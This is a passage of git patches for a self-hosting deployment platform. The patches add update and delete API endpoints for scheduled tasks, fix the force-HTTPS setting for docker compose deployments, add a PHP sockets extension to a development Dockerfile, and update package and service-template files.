'/services/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for a service.' + operationId: delete-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: + type: string + example: 'Scheduled task deleted.' + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /teams: get: tags: diff --git a/routes/api.php b/routes/api.php index fb91baa84..7f9e0d3be 100644 --- a/routes/api.php +++ b/routes/api.php @@ -175,9 +175,11 @@ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); }); Route::group([ From 2b913a1c35f62cc6c1d53d018999911267f420d1 Mon Sep 17 00:00:00 2001 From: Ahmed Date: Tue, 17 Feb 2026 02:18:08 +0300 Subject: [PATCH 056/305] feat(api): add update endpoints for scheduled tasks in applications and services --- .../Api/ScheduledTasksController.php | 220 ++++++++++++++++++ openapi.json | 188 +++++++++++++++ openapi.yaml | 132 +++++++++++ routes/api.php | 2 + 4 files changed, 542 insertions(+) diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php index 4778dec2a..13fe21a4a 100644 --- a/app/Http/Controllers/Api/ScheduledTasksController.php +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -76,6 +76,52 @@ public function create_scheduled_task(Request $request, Application|Service $res return response()->json($this->removeSensitiveData($task), 201); } + public function update_scheduled_task(Request $request, Application|Service $resource) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $validator = Validator::make($request->all(), [ + 'name' => 'string|max:255', + 'command' => 'string', + 'frequency' => 'string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + if ($request->has('frequency') && ! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $data = $request->all(); + $task->update($data); + + return response()->json($this->removeSensitiveData($task), 200); + } + #[OA\Get( summary: 'List Task', description: 'List all scheduled tasks for an application.', @@ -295,6 +341,93 @@ public function delete_scheduled_task_by_application_uuid(Request $request) return response()->json(['message' => 'Scheduled task deleted.']); } + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_application_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->update_scheduled_task($request, $application); + } + #[OA\Get( summary: 'List Tasks', description: 'List all scheduled tasks for a service.', @@ -513,4 +646,91 @@ public function delete_scheduled_task_by_service_uuid(Request $request) return response()->json(['message' => 'Scheduled task deleted.']); } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_service_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->update_scheduled_task($request, $service); + } } diff --git a/openapi.json b/openapi.json index 7df13e4ae..ef71fb5da 100644 --- a/openapi.json +++ b/openapi.json @@ -3571,6 +3571,100 @@ } }, "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for an application.", + "operationId": "update-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 3600 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, "delete": { "tags": [ "Scheduled Tasks" @@ -10301,6 +10395,100 @@ } }, "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for a service.", + "operationId": "update-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 3600 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, "delete": { "tags": [ "Scheduled Tasks" diff --git a/openapi.yaml b/openapi.yaml index ac684c98a..99cc84dcb 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2258,6 +2258,72 @@ paths: - bearerAuth: [] '/applications/{uuid}/scheduled-tasks/{task_uuid}': + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for an application.' + operationId: update-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 3600 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] delete: tags: - 'Scheduled Tasks' @@ -6460,6 +6526,72 @@ paths: - bearerAuth: [] '/services/{uuid}/scheduled-tasks/{task_uuid}': + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for a service.' + operationId: update-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 3600 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] delete: tags: - 'Scheduled Tasks' diff --git a/routes/api.php b/routes/api.php index 7f9e0d3be..9c4d703a9 100644 --- a/routes/api.php +++ b/routes/api.php @@ -175,10 +175,12 @@ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); }); From 35a61102522b300fb3edde1271471ddbc9183543 Mon Sep 17 00:00:00 2001 From: Jono Date: Tue, 17 Feb 2026 15:30:49 -0800 Subject: [PATCH 057/305] Dont ignore "force https" pref when using docker compose --- app/Models/ServiceApplication.php | 5 +++++ app/Models/ServiceDatabase.php | 5 +++++ bootstrap/helpers/parsers.php | 16 ++++++++-------- bootstrap/helpers/shared.php | 8 ++++---- 4 files changed, 22 insertions(+), 12 deletions(-) diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 7b8b46812..cbd02daa6 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -81,6 +81,11 @@ public function isGzipEnabled() return data_get($this, 'is_gzip_enabled', true); } + public function isForceHttpsEnabled() + { + return data_get($this, 'is_force_https_enabled', true); + } + public function type() { return 'service'; diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index f6a39cfe4..aee71295a 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -80,6 +80,11 @@ public function isGzipEnabled() return data_get($this, 'is_gzip_enabled', true); } + public function isForceHttpsEnabled() + { + return data_get($this, 'is_force_https_enabled', true); + } + public function type() { return 'service'; diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 43ba58e59..45125bce7 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1233,7 +1233,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1246,7 +1246,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1260,7 +1260,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1271,7 +1271,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2329,7 +2329,7 @@ function serviceParser(Service $resource): Collection $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2342,7 +2342,7 @@ function serviceParser(Service $resource): Collection network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2356,7 +2356,7 @@ function serviceParser(Service $resource): Collection $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2367,7 +2367,7 @@ function serviceParser(Service $resource): Collection network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 4372ff955..2a7d5cbb0 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1933,7 +1933,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $savedService->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1946,7 +1946,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal network: $resource->destination->network, uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $savedService->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1959,7 +1959,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $savedService->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1970,7 +1970,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal network: $resource->destination->network, uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $savedService->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), From b49069f3fc82712527b135a06a7016d9fa0abfd4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Feb 2026 11:04:10 +0100 Subject: [PATCH 058/305] feat(docker): install PHP sockets extension in development environment Add socket.io/php-socket dependency to support WebSocket functionality in the development container. Also update package-lock.json to reflect peer dependency configurations for Socket.IO packages. --- docker/development/Dockerfile | 3 +++ package-lock.json | 18 +++++++++--------- templates/service-templates-latest.json | 8 +++----- templates/service-templates.json | 8 +++----- 4 files changed, 18 insertions(+), 19 deletions(-) diff --git a/docker/development/Dockerfile b/docker/development/Dockerfile index ab9cb2fca..98b4d2006 100644 --- a/docker/development/Dockerfile +++ b/docker/development/Dockerfile @@ -47,6 +47,9 @@ RUN apk add --no-cache \ lsof \ vim +# Install PHP extensions +RUN install-php-extensions sockets + # Configure shell aliases RUN echo "alias ll='ls -al'" >> /etc/profile && \ echo "alias a='php artisan'" >> /etc/profile && \ diff --git a/package-lock.json b/package-lock.json index 59d678c4f..d9a7aa7fc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -950,7 +950,8 @@ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", "dev": true, - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/@tailwindcss/forms": { "version": "0.5.10", @@ -1403,8 +1404,7 @@ "version": "5.5.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/asynckit": { "version": "0.4.0", @@ -1557,6 +1557,7 @@ "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1", @@ -1571,6 +1572,7 @@ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" } @@ -2331,7 +2333,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -2452,7 +2453,6 @@ "integrity": "sha512-wp3HqIIUc1GRyu1XrP6m2dgyE9MoCsXVsWNlohj0rjSkLf+a0jLvEyVubdg58oMk7bhjBWnFClgp8jfAa6Ak4Q==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "tweetnacl": "^1.0.3" } @@ -2557,6 +2557,7 @@ "integrity": "sha512-bPMmpy/5WWKHea5Y/jYAP6k74A+hvmRCQaJuJB6I/ML5JZq/KfNieUVo/3Mh7SAqn7TyFdIo6wqYHInG1MU1bQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1" @@ -2601,8 +2602,7 @@ "version": "4.1.18", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/tapable": { "version": "2.3.0", @@ -2654,7 +2654,6 @@ "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -2754,7 +2753,6 @@ "integrity": "sha512-SJ/NTccVyAoNUJmkM9KUqPcYlY+u8OVL1X5EW9RIs3ch5H2uERxyyIUI4MRxVCSOiEcupX9xNGde1tL9ZKpimA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vue/compiler-dom": "3.5.26", "@vue/compiler-sfc": "3.5.26", @@ -2777,6 +2775,7 @@ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" }, @@ -2798,6 +2797,7 @@ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", "dev": true, + "peer": true, "engines": { "node": ">=0.4.0" } diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 5f53721fb..6ee9094df 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODA4MAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY